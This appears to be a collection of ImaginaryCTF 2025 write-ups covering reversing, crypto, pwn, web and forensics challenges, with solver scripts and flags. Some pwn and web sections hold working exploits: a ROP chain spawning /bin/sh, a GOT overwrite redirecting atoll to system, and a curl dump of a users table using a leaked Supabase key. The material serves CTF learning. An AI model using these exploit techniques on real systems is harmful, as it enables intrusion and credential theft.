WEIRD-APP SOLUTION

We were given an app-debug.apk Android application. When running or decompiling, the app only displayed a “Transformed flag” instead of the real one:

Transformed flag: idvi+1{s6e3{)arg2zv[moqa905+

The task was to reverse the transformation to recover the original flag.

Step 1: Inspecting the APK

I unzipped/decompiled the APK using apktool/jadx.  
Inside com/example/test2/MainActivity.kt, I found this interesting line:

const-string v4, "Transformed flag: idvi+1{s6e3{)arg2zv[moqa905+"

and a helper function:

.method public static final transformFlag(Ljava/lang/String;)Ljava/lang/String;

Step 2: Understanding the transformFlag Function

Decompiled pseudo-code of transformFlag showed the following logic:

* Define three character sets:
  + alpha = "abcdefghijklmnopqrstuvwxyz"
  + nums = "0123456789"
  + spec = "!@#$%^&\*()\_+{}[]|"
* For each character in the input flag:
  + If it’s a letter: output = alpha[(pos + index) % 26]
  + If it’s a digit: output = nums[(pos + 2\*index) % 10]
  + If it’s a special char: output = spec[(pos + index^2) % len(spec)]

In other words, each character was shifted depending on its position index.

Step 3: Reversing the Transformation

To undo the mapping:

* Letters: pos = (t - i) % 26
* Digits: pos = (t - 2\*i) % 10
* Specials: pos = (t - i^2) % len(spec)

I wrote a quick Python script:

alpha = "abcdefghijklmnopqrstuvwxyz"

nums = "0123456789"

spec = "!@#$%^&\*()\_+{}[]|"

def invert\_transform(transformed):

out = []

for i, ch in enumerate(transformed):

if ch in alpha:

t = alpha.index(ch)

k = (t - i) % len(alpha)

out.append(alpha[k])

elif ch in nums:

t = nums.index(ch)

k = (t - 2\*i) % len(nums)

out.append(nums[k])

elif ch in spec:

t = spec.index(ch)

k = (t - i\*i) % len(spec)

out.append(spec[k])

else:

out.append(ch)

return "".join(out)

print(invert\_transform("idvi+1{s6e3{)arg2zv[moqa905+"))

Step 4: Recovering the Flag

Running the script produced:

ictf{1\_l0v3\_@ndr0id\_stud103}

Final Flag

ictf{1\_l0v3\_@ndr0id\_stud103}

Step-by-Step Write-Up — “comparing.cpp”

0) Challenge Files

* comparing.cpp – hides a flag string, transforms it, and prints numeric lines.
* output.txt – the numeric lines produced by the program (given to us).

1) What the program does (bird’s-eye view)

1. Split the hidden flag into pairs:  
   pair i is (flag[2\*i], flag[2\*i+1], i).
2. Push all pairs into a max-heap (priority\_queue) ordered by int(c0) + int(c1).
3. Repeatedly pop two tuples t1=(val1,val2,i1) and t2=(val3,val4,i2), then print two lines:
   * Line for i1 uses (val1, val3)
   * Line for i2 uses (val2, val4)
4. Whether the line is even or odd depends on the tuple’s index (i1 or i2):
   * even(i) → even(valA,valB,i)  
     str(valA)+str(valB)+str(i)+reverse(str(valA)+str(valB))
   * odd(i) → odd(valA,valB,i)  
     str(valA)+str(valB)+str(i) (the “addend” sums to zero)

So each iteration prints two lines that together encode four ASCII codes: (val1,val2) for i1 and (val3,val4) for i2.

2) Decoding rules (what each printed line looks like)

* Odd line (for odd index i):  
  ABi  
  where AB is two ASCII codes concatenated, and the final digits are the index i. There is no mirrored tail.
* Even line (for even index i):  
  AB i reverse(AB)  
  i.e., a mirror/palindrome around the index. If you remove the trailing reverse(AB), the remaining middle ends with i, and the prefix is exactly AB.

Here A and B are decimal ASCII codes of printable characters (32–126). AB typically is 4–6 digits total (because each of A/B is 2–3 digits).

3) How to identify line type + extract (i, A, B)

Goal: from a line, get the tuple (index i, code A, code B).

A. If it’s even:

A valid even line can be recognized by trying all positions of i (0..15 in this challenge) inside the string and checking for the mirrored tail:

* For each candidate i inside the string:  
  split line = head + str(i) + tail.  
  If tail == reverse(head) and head != "", then it’s even with AB = head.

B. If it’s odd:

Check if the line ends with some i (0..15).  
If yes, AB = line\_without\_the\_trailing\_i.

C. Split AB into two ASCII codes

Try the two plausible splits:

* A = int(AB[:2]), B = int(AB[2:])
* A = int(AB[:3]), B = int(AB[3:])

Pick the split where both A and B are in [32..126].

4) Pairing lines to reconstruct characters

The program prints lines in pairs per heap iteration:

* First line (k) was for index i1, and carries:
  + first char of i1 → val1 = A
  + first char of i2 → val3 = B
* Second line (k+1) was for index i2, and carries:
  + second char of i1 → val2 = C
  + second char of i2 → val4 = D

Therefore, from lines (k, k+1):

* pair[i1] = (val1, val2) = (A, C)
* pair[i2] = (val3, val4) = (B, D)

Repeat for (0,1), (2,3), ….

Finally, order pair[0], pair[1], … pair[N-1] and convert ASCII codes to characters to get the flag.

5) Manual example with the first two lines

Given the first two lines of output.txt:

0: 9548128459

1: 491095

Line 0 → detect even

Try i=12:  
"9548" + "12" + "8459" and "8459" == reverse("9548") ✅  
So it’s even, i=12, and AB="9548".

Split AB:

* 95 and 48 → ASCII: 95 '\_', 48 '0'

So line 0 gives:

* for i1=12: first char '\_' (95)
* for the other index i2: first char '0' (48)

Line 1 → detect odd

The line ends with "5" → i=5, AB="49109".

Split AB:

* 49 and 109 → ASCII: 49 '1', 109 'm'

So line 1 gives:

* for i1=12: second char '1' (49)
* for i2=5: second char 'm' (109)

Put together:

* pair[12] = ('\_', '1')
* pair[5] = ('0', 'm')

Do this for each subsequent line pair.

6) Full decoder (Python)

Save as decoder.py next to output.txt.

# decoder.py

def detect\_even\_all\_positions(s, max\_i=32):

hits = []

for i in range(max\_i):

t = str(i)

start = 0

while True:

pos = s.find(t, start)

if pos == -1:

break

head = s[:pos]

tail = s[pos+len(t):]

if head and tail == head[::-1]:

hits.append((i, head))

start = pos + 1

return hits

def split\_two\_ascii(ab):

"""Try 2/3-digit splits for A, rest for B; keep printable ASCII [32..126]."""

pairs = []

for l1 in (2, 3):

if l1 < len(ab):

a, b = int(ab[:l1]), int(ab[l1:])

if 32 <= a <= 126 and 32 <= b <= 126:

pairs.append((a, b))

return pairs

def decode\_options(line, max\_i=32):

s = line.strip()

opts = []

# Try even pattern (mirror around i anywhere in the string)

for idx, ab in detect\_even\_all\_positions(s, max\_i):

for a, b in split\_two\_ascii(ab):

opts.append(("even", idx, (a, b)))

# Try odd pattern (endswith i)

for idx in range(max\_i):

t = str(idx)

if s.endswith(t) and len(s) > len(t):

ab = s[:-len(t)]

for a, b in split\_two\_ascii(ab):

opts.append(("odd", idx, (a, b)))

return opts

def main():

lines = [l.strip() for l in open("output.txt").read().splitlines() if l.strip()]

opts\_per\_line = [decode\_options(l, max\_i=64) for l in lines]

# In this challenge, each line has a unique valid decode, so pick [0]

pairs = {}

for k in range(0, len(lines), 2):

kind0, i1, (a, b) = opts\_per\_line[k][0] # i1 line uses (val1, val3)

kind1, i2, (c, d) = opts\_per\_line[k+1][0] # i2 line uses (val2, val4)

pairs[i1] = (a, c) # i1 -> (first, second)

pairs[i2] = (b, d) # i2 -> (first, second)

# Stitch by index order

flag\_bytes = []

for i in range(len(pairs)):

first, second = pairs[i]

flag\_bytes.extend([first, second])

flag = bytes(flag\_bytes).decode()

print(flag)

if \_\_name\_\_ == "\_\_main\_\_":

main()

Run

python3 decoder.py

Output

ictf{cu3st0m\_c0mp@r@t0rs\_1e8f9e}

Leaky-RSA — ImaginaryCTF Write-up

Challenge Description

We connect to:

nc leaky-rsa.chal.imaginaryctf.org 1337

The server gives us:

* an RSA modulus n
* an RSA ciphertext c = key\_m^e mod n
* an AES-CBC IV and ciphertext of the flag

Then it runs 1024 “oracle rounds.” In each round it:

* chooses a random index idx ∈ {0,1,2,3}
* asks us to submit a JSON object {"c": some\_ciphertext}
* decrypts it to m = c^d mod n
* replies with {"b": m[idx]} (the bit at position idx in m)
* if our input is invalid, it returns b = 2

At the end, the provided source code even prints out the secret key\_m.

The AES key is derived from the secret:

key = sha256(str(key\_m).encode()).digest()[:16]

The flag is AES-CBC encrypted with this key.

Vulnerability

The intended design: we can only see 4 low bits per query. But because RSA is multiplicatively homomorphic,

(m1e)(m2e)≡(m1m2)e(modn),(m\_1^e)(m\_2^e) \equiv (m\_1 m\_2)^e \pmod{n},(m1e​)(m2e​)≡(m1​m2​)e(modn),

we can multiply the original ciphertext by 2te2^{te}2te to shift the bits of key\_m into the lowest 4 positions, then query the oracle and reconstruct key\_m bit by bit.

So in principle, 1024 oracle rounds are enough to recover ~1024 bits of key\_m.

Easy Mode (what was actually deployed)

In the given chall.py the authors accidentally left a debug line:

print(key\_m)

So the service still prints the secret at the end!

That means we don’t even need to perform the bit-oracle attack. We just have to:

1. Reply with *any valid ciphertext* each round (to avoid b=2 errors).
2. Read key\_m at the end.
3. Derive the AES key.
4. Decrypt the flag.

Exploit Code

from pwn import remote

import json

from hashlib import sha256

from Crypto.Cipher import AES

from Crypto.Util.Padding import unpad

HOST, PORT = "leaky-rsa.chal.imaginaryctf.org", 1337

E = 65537

def recv\_json(io):

while True:

line = io.recvline().decode().strip()

if line.startswith("{"):

return json.loads(line)

io = remote(HOST, PORT)

# 1) Initial banner

head = recv\_json(io)

n = int(head["n"])

key\_c = int(head["c"])

iv = bytes.fromhex(head["iv"])

ct = bytes.fromhex(head["ct"])

# 2) Pick a safe ciphertext != key\_c

fixed\_c = pow(2, E, n)

if fixed\_c == key\_c:

fixed\_c = pow(3, E, n)

# 3) Answer 1024 rounds

for \_ in range(1024):

\_ = recv\_json(io) # {"idx": k}

io.sendline(json.dumps({"c": fixed\_c}).encode())

\_ = recv\_json(io) # {"b": ...}

# 4) Get key\_m from the final line

key\_m = int(io.recvline().decode().strip())

# 5) Derive AES key and decrypt

key = sha256(str(key\_m).encode()).digest()[:16]

pt = unpad(AES.new(key, AES.MODE\_CBC, iv=iv).decrypt(ct), 16)

print(pt.decode())

Result

Running the solver yields the decrypted flag:

ictf{p13cin9\_7h3\_b1t5\_t0g37her\_3f0068c1b9be2547ada52a8020420fb0}

**BabyBOF (ImaginaryCTF) — Write-up**

**Overview**

Target: nc babybof.chal.imaginaryctf.org 1337  
Flag: ictf{arent\_challenges\_written\_two\_hours\_before\_ctf\_amazing}

This “baby” pwn prints everything you need: addresses for system, a pop rdi; ret gadget, a plain ret gadget, the location of "/bin/sh", and the stack canary. The input is read with an unsafe function, so we can overflow the stack, preserve the canary, and ROP into system("/bin/sh").

**Recon**

When you connect, the service leaks lines like:

system @ 0x7e68...

pop rdi; ret @ 0x4011ba

ret @ 0x401016

"/bin/sh" @ 0x404038

canary: 0xe444cd86f13ffc00

Give me your input:

From reversing / quick testing:

* Buffer before canary: **56 bytes**
* Stack layout: 56 bytes buf | 8-byte canary | 8-byte saved RBP | RIP…
* NX on, but ROP is fine since we’re handed gadgets + libc ptrs.
* PIE/ASLR irrelevant because addresses are **already leaked**.

**Exploit plan**

1. **Keep the canary intact.** Overwrite it with the exact leaked value.
2. **Maintain stack alignment.** Insert a single ret before pop rdi; ret to keep a 16-byte aligned stack per SysV ABI (some libc calls care).
3. **Call system("/bin/sh").**
   * pop rdi; ret → load "/bin/sh" into RDI
   * system address as leaked

Final ROP chain (after canary & saved RBP):

ret

pop rdi ; ret

"/bin/sh"

system

Payload layout:

"A" \* 56

+ p64(canary)

+ "B" \* 8 # saved RBP filler

+ p64(ret) # alignment

+ p64(pop\_rdi\_ret)

+ p64(binsh)

+ p64(system)

**Implementation (pwntools)**

from pwn import \*

import re

HOST, PORT = 'babybof.chal.imaginaryctf.org', 1337

context.arch = 'amd64'

BUF = 56

def parse\_leaks(b):

t = b.decode(errors='ignore')

sys\_ = int(re.search(r'^\s\*system\s\*@\s\*(0x[0-9a-fA-F]+)\s\*$', t, re.M).group(1), 16)

popr = int(re.search(r'^\s\*pop rdi; ret\s\*@\s\*(0x[0-9a-fA-F]+)\s\*$', t, re.M).group(1), 16)

retg = int(re.search(r'^\s\*ret\s\*@\s\*(0x[0-9a-fA-F]+)\s\*$', t, re.M).group(1), 16)

binsh = int(re.search(r'^\s\*"/bin/sh"\s\*@\s\*(0x[0-9a-fA-F]+)\s\*$', t, re.M).group(1), 16)

can = int(re.search(r'^\s\*canary:\s\*(0x[0-9a-fA-F]+)\s\*$', t, re.M).group(1), 16)

return sys\_, popr, retg, binsh, can

io = remote(HOST, PORT)

banner = io.recvuntil(b'input', drop=False)

system, pop\_rdi\_ret, retg, binsh, canary = parse\_leaks(banner)

io.recvuntil(b':')

payload = b'A'\*BUF

payload += p64(canary)

payload += b'B'\*8

payload += p64(retg) # alignment

payload += p64(pop\_rdi\_ret)

payload += p64(binsh)

payload += p64(system)

io.sendline(payload)

io.sendline(b'cat flag.txt')

print(io.recvline(timeout=2).decode(errors='ignore').strip())

**Gotcha that bit me**

Make sure your regex for the plain ret line doesn’t accidentally capture the pop rdi; ret line. Anchor each pattern to its line (use ^...$ with re.M). If you mistakenly use pop rdi; ret where a plain ret is expected, your stack alignment breaks and the process exits (EOF).

**Result**

After sending the payload, we get a shell and read the flag:

ictf{arent\_challenges\_written\_two\_hours\_before\_ctf\_amazing}

**addition (ImaginaryCTF) — Write-up**

**Category:** pwn  
**Target:** nc addition.chal.imaginaryctf.org 1337  
**Flag:** ictf{i\_love\_finding\_offsets\_4fd29170cb90}

**TL;DR**

The program repeatedly asks:

add where?

add what?

and does a **64-bit add** at \*(buf + where) += what with **no bounds check**. We can write outside buf and hit the **GOT**. If we add **(system - atoll)** to atoll@GOT, the next call to atoll becomes a call to system, with our input string as its argument. Then we send cat flag.txt.

**Recon**

From reversing (strings/ghidra) the loop is essentially:

while (1) {

puts("add where?");

long off = atoll(readline());

if (off == 1337) break;

puts("add what?");

long val = atoll(readline());

\*(long \*)((char \*)buf + off) += val; // 64-bit add, no bounds check

}

Key properties:

* **No bounds check** → arbitrary 8-byte add into process memory.
* **atoll()** is used to parse your inputs each time.
* **PLT/GOT** is writable (no RELRO or partial RELRO).
* The GOT entry for atoll is already resolved when we start interacting, so it holds the real libc address.

**Target addresses & math**

Using the provided artifacts (vuln, libc.so.6, ld-linux-x86-64.so.2) we get:

1. **libc offsets** (exported symbols):

* system @ 0x0000000000050d60
* atoll @ 0x0000000000043670

Compute the delta we need to *add* into the atoll@GOT entry:

* DELTA = system - atoll = 0x50d60 - 0x43670 = 0x0d6f0 = 55024 (dec)

1. **Binary static addresses (PIE off / fixed region used by the challenge)**

* buf = 0x4069
* atoll@GOT = 0x4020

Compute the index into the “add where?” pointer space:

* INDEX = GOT\_ATOLL - BUF = 0x4020 - 0x4069 = -0x49 = -73

So the plan is:

1. Write at offset **INDEX = -73**.
2. Add **DELTA = 55024** to \*(buf + INDEX) → patches atoll@GOT into system.
3. Next time the binary calls atoll(...), it actually calls system(...) with our input string. Send cat flag.txt.

**Exploit (Pwntools)**

from pwn import \*

HOST, PORT = "addition.chal.imaginaryctf.org", 1337

# Offsets computed from your uploaded libc.so.6

LIBC\_SYSTEM = 0x0000000000050d60

LIBC\_ATOLL = 0x0000000000043670

DELTA = LIBC\_SYSTEM - LIBC\_ATOLL # 0xd6f0 = 55024

# PIE-relative offsets computed from your binary

BUF = 0x4069

GOT\_ATOLL= 0x4020

INDEX = GOT\_ATOLL - BUF # -73

def solve():

io = remote(HOST, PORT)

# 1) point at atoll@GOT

io.sendlineafter(b"add where?", str(INDEX).encode())

# 2) add (system - atoll) to GOT entry

io.sendlineafter(b"add what?", str(DELTA).encode())

# 3) Now atoll has become system. Next "add where?" calls system(<our string>).

io.sendlineafter(b"add where?", b"cat flag.txt")

# The program will try to ask "add what?" again; just read output.

print(io.recvuntil(b'\n', timeout=2).decode(errors="ignore"))

print(io.recvrepeat(1).decode(errors="ignore"))

io.close()

if \_\_name\_\_ == "\_\_main\_\_":

solve()

**Result**

ictf{i\_love\_finding\_offsets\_4fd29170cb90}

**ImaginaryCTF 2025 – Imaginary Notes (Web)**

**Challenge**

We’re given a note-taking app running on Supabase:

http://imaginary-notes.chal.imaginaryctf.org

The description hints:

* The flag is the password of the admin account.
* The database table is called users.
* The Supabase **anonymous key** is hidden somewhere in the site.

**Recon**

Opening the site shows a basic **Next.js login/signup page**. Checking the page source and loaded JS chunks in DevTools → **Sources** or **Network**, we spot this line:

a(5647).UU)("https://dpyxnwiuwzahkxuxrojp.supabase.co",

"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImRweXhud2l1d3phaGt4dXhyb2pwIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NTE3NjA1MDcsImV4cCI6MjA2NzMzNjUwN30.C3-ninSkfw0RF3ZHJd25MpncuBdEVUmWpMLZgPZ-rqI");

This exposes both:

* **Supabase URL:** https://dpyxnwiuwzahkxuxrojp.supabase.co
* **Anon key:** the long JWT.

**Exploitation**

Supabase exposes its database via a PostgREST API at /rest/v1/<table>.  
With the anon key, we can query directly:

curl -s 'https://dpyxnwiuwzahkxuxrojp.supabase.co/rest/v1/users?select=\*&username=eq.admin' \

-H 'apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...' \

-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'

**Result**

The response reveals the admin row, including the password:

[

{

"id": "5df6d541-c05e-4630-a862-8c23ec2b5fa9",

"username": "admin",

"password": "ictf{why\_d1d\_1\_g1v3\_u\_my\_@p1\_k3y???}"

}

]

**Flag**

ictf{why\_d1d\_1\_g1v3\_u\_my\_@p1\_k3y???}

**ImaginaryCTF 2025 – Certificate Generator (Eth007 Flag)**

**Challenge Description**

As a thank you for playing our CTF, we’re giving out participation certificates! Each one comes with a custom flag, but I bet you can’t get the flag belonging to **Eth007**!

Target URL:

https://eth007.me/cert/

**Recon**

Visiting the page shows a certificate generator form with fields like **Name**, **Title**, **Date**, and a preview/download option. The certificate itself is rendered as an **SVG** in the browser.

Inspecting the page source (Ctrl+U) or using **DevTools** revealed a long JavaScript section responsible for rendering the certificate.

**Source Analysis**

Key functions inside the script:

function customHash(str){

let h = 1337;

for (let i=0;i<str.length;i++){

h = (h \* 31 + str.charCodeAt(i)) ^ (h >>> 7);

h = h >>> 0; // force unsigned

}

return h.toString(16);

}

function makeFlag(name){

const clean = name.trim() || "anon";

const h = customHash(clean);

return `ictf{${h}}`;

}

The SVG certificate includes:

<desc>ictf{<hash>}</desc>

So the **flag = ictf{customHash(participantName)}**.

**The Twist**

Inside the rendering function:

if (name == "Eth007") {

name = "REDACTED";

}

The site blocks users from directly generating Eth007’s certificate — it swaps "Eth007" to "REDACTED".

**Exploitation**

Since the flag is purely computed in JavaScript, we can bypass the UI by simply running the hash function ourselves.

In DevTools Console:

customHash("Eth007").toString(16);

// -> "7b4b3965"

Then:

makeFlag("Eth007");

// -> "ictf{7b4b3965}"

**Flag**

ictf{7b4b3965}

**redacted (Crypto, 100 pts)**

**Author:** Eth007  
**Solves:** 287

**Challenge**

*wait, i thought XORing something with itself gives all 0s???*

We are given a ciphertext:

65 6c ce 6b c1 75 61 7e 53 66 c9 52 d8 6c 6a 53

6e 6e de 52 df 63 6d 7e 75 7f ce 64 d5 63 73

**Step 1: Analyzing the hint**

The challenge hint reminds us of the XOR properties:

* x ⊕ x = 0
* x ⊕ 0 = x

This suggests the scheme is **XOR-based encryption**, possibly with the flag itself (or part of it) used as the key.

**Step 2: Known plaintext**

In ImaginaryCTF, flags always start with ictf{ and end with }.

That means we already know part of the plaintext. If we XOR ciphertext with plaintext, we can directly recover the key bytes:

key[i] = cipher[i] ⊕ plain[i]

This gives us the repeating key used in the XOR scheme.

**Step 3: Solving with Python**

We wrote a solver that:

1. Guesses possible key lengths.
2. Uses the known prefix ictf{ and suffix } to recover key bytes.
3. Checks that the decrypted plaintext is printable and flag-shaped.

cipher\_hex = """

65 6c ce 6b c1 75 61 7e 53 66 c9 52 d8 6c 6a 53

6e 6e de 52 df 63 6d 7e 75 7f ce 64 d5 63 73

""".strip().replace("\n"," ")

C = bytes.fromhex(cipher\_hex)

def solve():

for L in range(2, 32):

key = [None]\*L

known = [(0, ord('i')), (1, ord('c')), (2, ord('t')), (3, ord('f')), (4, ord('{')),

(len(C)-1, ord('}'))]

ok = True

for i, ch in known:

k = C[i] ^ ch

r = i % L

if key[r] is None:

key[r] = k

elif key[r] != k:

ok = False

break

if not ok: continue

P = bytes(C[i] ^ key[i % L] for i in range(len(C)))

if P.startswith(b"ictf{") and P.endswith(b"}"):

return P.decode()

print(solve())

**Step 4: Result**

Running the solver recovers:

ictf{xor\_is\_bad\_bad\_encryption}

**zkPoW (Crypto / Pwn hybrid)**

**Challenge description (paraphrased):**

Designed a new way to stop brute-forcing pwn challenges: a “zk-proof-of-work.”  
50 rounds, each round sends you a graph (n vertices, edges).  
You must return a zero-knowledge proof that the graph is 3-colorable.  
You have 5 seconds per round.

nc zkpow.chal.imaginaryctf.org 1337

**Step 1 – Understanding the verifier**

From the provided server code (zkpow.py):

* **Commit phase**: For each vertex v, prover commits to (color, nonce) with
* leaf = SHA256("vertex:v:color:nonce")

and builds a Merkle tree over all leaves.

* **Challenge**: Fiat–Shamir chooses one random edge index as
* idx = SHA256(merkle\_root) mod |edges|

so the verifier’s challenge depends only on the Merkle root.

* **Response**: Prover opens the two endpoints of that edge (color + nonce + Merkle proof).
* **Check**:
  1. Merkle proofs match the root.
  2. Endpoints are in the opening.
  3. Their colors differ.

That’s it. The verifier never checks *all* edges, only the single Fiat–Shamir edge.

**Step 2 – Where’s the weakness?**

* A valid 3-coloring of the entire graph is unnecessary.
* You only need **the chosen edge’s endpoints to differ**.
* The chosen edge index depends on the Merkle root.
* So: change your commitments (e.g. tweak nonces) until the root makes Fiat–Shamir pick a “good” edge.

With random colors:

* Probability endpoints differ = 2/3.
* So in expectation, 1–2 tries are enough.

**Step 3 – Naïve attempt (too slow)**

At first, I rebuilt the entire Merkle tree and scanned all edges each retry. This became O(|E|) per round.  
By round 20, n ≈ 670, |E| in the hundreds of thousands, and the solver exceeded the 5s limit.

**Step 4 – Optimized approach**

Two key optimizations:

1. **Don’t scan all edges.**  
   After computing Fiat–Shamir index, just check that one edge’s endpoints differ.
2. **Incremental Merkle updates.**  
   Build the tree once. Then when tweaking a single leaf’s nonce, rehash only its path up to the root (O(log n)) instead of rebuilding the entire tree.

This brought each round back to ~200–2500 ms, safely under the 5s window.

**Step 5 – Solver**

#!/usr/bin/env python3

from pwn import remote

import os, json, hashlib, random, time

HOST, PORT = "zkpow.chal.imaginaryctf.org", 1337

def H(b): return hashlib.sha256(b).digest()

def leaf\_hash(v, c, nonce): return H(b"vertex:%d:%d:" % (v, c) + nonce)

def build\_levels(leaves):

levels = [leaves]; cur = leaves

while len(cur) > 1:

nxt = [H(cur[i] + (cur[i+1] if i+1 < len(cur) else cur[i]))

for i in range(0,len(cur),2)]

levels.append(nxt); cur = nxt

return levels

def update\_path(levels, idx):

i = idx

for d in range(len(levels)-1):

level, parent = levels[d], levels[d+1]

sib = i ^ 1;

if sib >= len(level): sib = i

L,R = (level[i],level[sib]) if i%2==0 else (level[sib],level[i])

parent[i//2] = H(L+R)

i//=2

def merkle\_proof(levels, idx):

proof=[]; i=idx

for d in range(len(levels)-1):

level=levels[d]; sib=i^1

if sib>=len(level): sib=i

proof.append((level[sib].hex(), sib%2==0)); i//=2

return proof

def root\_hex(levels): return levels[-1][0].hex()

def fs\_idx(root,m): return int.from\_bytes(hashlib.sha256(root.encode()).digest(),"big")%m

def solve\_round(n, edges):

colors=[random.randrange(3) for \_ in range(n)]

nonces=[os.urandom(16) for \_ in range(n)]

leaves=[leaf\_hash(v,colors[v],nonces[v]) for v in range(n)]

levels=build\_levels(leaves)

target=0

while True:

rhex=root\_hex(levels)

u,v=edges[fs\_idx(rhex,len(edges))]

if colors[u]!=colors[v]:

openings={}

for w in (u,v):

openings[str(w)]={"color":colors[w],"nonce":nonces[w].hex(),

"merkle\_proof":merkle\_proof(levels,w)}

return {"merkle\_root":rhex,"openings":openings}

nonces[target]=os.urandom(16)

levels[0][target]=leaf\_hash(target,colors[target],nonces[target])

update\_path(levels,target)

def main():

io=remote(HOST,PORT)

io.recvuntil(b"enabled==")

for i in range(50):

io.recvuntil(f"==round {i}==".encode())

buf=io.recvuntil(b"proof:")

jline=[ln for ln in buf.decode().splitlines() if ln.strip().startswith("{")][-1]

g=json.loads(jline); n,edges=g["n"],g["edges"]

proof=solve\_round(n,edges)

io.send((json.dumps(proof,separators=(',',':'))+"\n").encode())

print(io.recvline().decode().strip())

print(io.recvall().decode())

if \_\_name\_\_=="\_\_main\_\_": main()

**Step 6 – Result**

Running the solver:

[round 0] ok in 202.9 ms

...

[round 49] ok in 245.0 ms

flag: ictf{zero\_knowledge\_proof\_more\_like\_i\_have\_zero\_knowledge\_of\_how\_to\_prove\_this}

**x-tension (100 pts)**

**Category:** Forensics  
**Author:** FIREPONY57  
**Solves:** 199

**Challenge Description**

*"Trying to get good at something while watching YouTube isn't the greatest idea..."*

We’re given a network capture file (chal.pcapng). The title “x-tension” immediately suggests something related to a **browser extension**.

**Step 1 – Inspecting the PCAP**

Opening the capture in **Wireshark** and filtering for HTTP traffic:

http

I noticed this request:

GET /FunnyCatPicsExtension.crx

That .crx file is a **Chrome extension package** — a strong hint that the challenge involves extension-based traffic.

**Step 2 – Suspicious HTTP Requests**

Scrolling further, I found many suspicious GET requests to an odd IP:

GET /?t=5e HTTP/1.1

Host: 192.9.137.137:42552

The query string t=XX changes each time. This pattern looked like **data being exfiltrated one byte at a time**.

**Step 3 – Extract the Bytes**

By collecting all t=XX values from the GETs, we get:

5e 54 43 51 4c 52 4f 43 52 59 44 5e 58 59 44 68

5a 5e 50 5f 43 68 5d 42 44 43 68 44 42 54 5c 4a

When converted from hex to ASCII, this yields:

^TCQLROCRYD^XYDhZ^P\_Ch]BDChDBT\J

Clearly not plaintext — looks encoded.

**Step 4 – Decoding**

Since the traffic was exfiltrated one byte at a time, the simplest encoding is **XOR with a single key**.  
Testing single-byte XOR keys, key 0x37 (decimal 55) works:

ictf{extensions\_might\_just\_suck}

**Step 5 – The Flag**

ictf{extensions\_might\_just\_suck}

**Automated Extraction (Python Script)**

Here’s a reproducible script that parses the PCAP with pyshark:

#!/usr/bin/env python3

"""

x-tension extractor

- Collects /?t=XX values from HTTP GET requests in the PCAP

- Reassembles them as bytes

- XOR-decodes with key 0x37

"""

import sys, re

def xor\_bytes(data, key):

return bytes(b ^ key for b in data)

def main():

if len(sys.argv) < 2:

print(f"Usage: {sys.argv[0]} <file.pcapng>")

sys.exit(1)

pcap\_path = sys.argv[1]

import pyshark

cap = pyshark.FileCapture(

pcap\_path,

display\_filter='http.request and http.request.uri contains "t="'

)

data = []

for pkt in cap:

try:

uri = pkt.http.request\_uri # e.g. "/?t=5e"

m = re.search(r"t=([0-9a-fA-F]{2})", uri)

if m:

data.append(int(m.group(1), 16))

except Exception:

continue

cap.close()

raw = bytes(data)

print("[\*] Raw bytes:", raw)

decoded = xor\_bytes(raw, 0x37)

print("[+] Decoded:", decoded.decode())

if \_\_name\_\_ == "\_\_main\_\_":

main()

**Run:**

pip install pyshark

python3 extract\_xtension.py chal.pcapng

**Output:**

[\*] Raw bytes: b'^TCQLROCRYD^XYDhZ^P\_Ch]BDChDBT\J'

[+] Decoded: ictf{extensions\_might\_just\_suck}

**Manual Wireshark Method (No Python Needed)**

1. Open the PCAP in Wireshark.
2. Apply the filter:
3. http.request.uri contains "t="
4. Right click → **Copy → All Visible Packet Details as Text**.
5. Extract just the hex values after t= (e.g. 5e 54 43 …).
6. Paste into a hex editor or CyberChef.
7. Apply **From Hex → XOR with 0x37**.
8. The output reveals the flag:
9. ictf{extensions\_might\_just\_suck}

**Final Flag**

ictf{extensions\_might\_just\_suck}

**Write-up — “Scalar multiplication is reversible… right?” (Crypto / ECC)**

**Challenge**

We are given this Sage check:

assert (

(

(E := EllipticCurve(

GF(0xbde3c425157a83cbe69cee172d27e2ef9c1bd754ff052d4e7e6a26074efcea673eab9438dc45e0786c4ea54a89f9079ddb21),

[5, 7]

)).order().factor(limit=2\*\*10)[3][0]

\* E.lift\_x(ZZ(int.from\_bytes((flag := input('ictf{')).encode())))

).x()

== 0x686be42f9c3f431296a928c288145a847364bb259c9f5738270d48a7fba035377cc23b27f69d6ae0fad76d745fab25d504d5

)

It:

* Defines an elliptic curve E:y2=x3+5x+7E: y^2 = x^3 + 5x + 7E:y2=x3+5x+7 over a big prime field.
* Lets rrr be a small factor of ∣E∣|E|∣E∣ (457).
* Takes the flag string, interprets it as bytes → integer → xxx-coordinate, and lifts to a point PPP.
* Checks whether x([r]P)x([r]P)x([r]P) equals the given target.

So we need to **invert [r][r][r]** to recover PPP, then decode its xxx-coordinate back into ASCII.

**Step 1 – Curve order and factor**

Running Sage:

#E = 1915401112…68088

r = 457

v\_r(#E) = 1

That means n=∣E∣=r⋅mn = |E| = r \cdot mn=∣E∣=r⋅m with rrr dividing nnn exactly once.

**Step 2 – Modular inverse trick**

If Q=[r]PQ = [r]PQ=[r]P, then mQ=OmQ = OmQ=O.  
Let s≡r−1(modm)s \equiv r^{-1} \pmod ms≡r−1(modm). Then

[r]([s]Q)=[rs]Q=[1+km]Q=Q.[r]([s]Q) = [rs]Q = [1+km]Q = Q.[r]([s]Q)=[rs]Q=[1+km]Q=Q.

So P0=[s]QP\_0 = [s]QP0​=[s]Q is a valid preimage.  
But [r][r][r] has kernel of size rrr, so there are rrr different preimages: P0+jTP\_0 + jTP0​+jT, where TTT is a generator of the kernel.

**Step 3 – Search the coset**

Enumerate all r=457r=457r=457 candidates, interpret each x(P)x(P)x(P) as bytes, and look for printable text.

**Final Flag**

ictf{mayb3\_d0nt\_m4ke\_th3\_sca1ar\_a\_f4ctor\_0f\_the\_ord3r}

**Exploit Scripts**

**Sage Solver (solve.sage)**

# solve.sage — invert [r] when v\_r(|E|)=1 and search preimages

p = 0xbde3c425157a83cbe69cee172d27e2ef9c1bd754ff052d4e7e6a26074efcea673eab9438dc45e0786c4ea54a89f9079ddb21

E = EllipticCurve(GF(p), [5, 7])

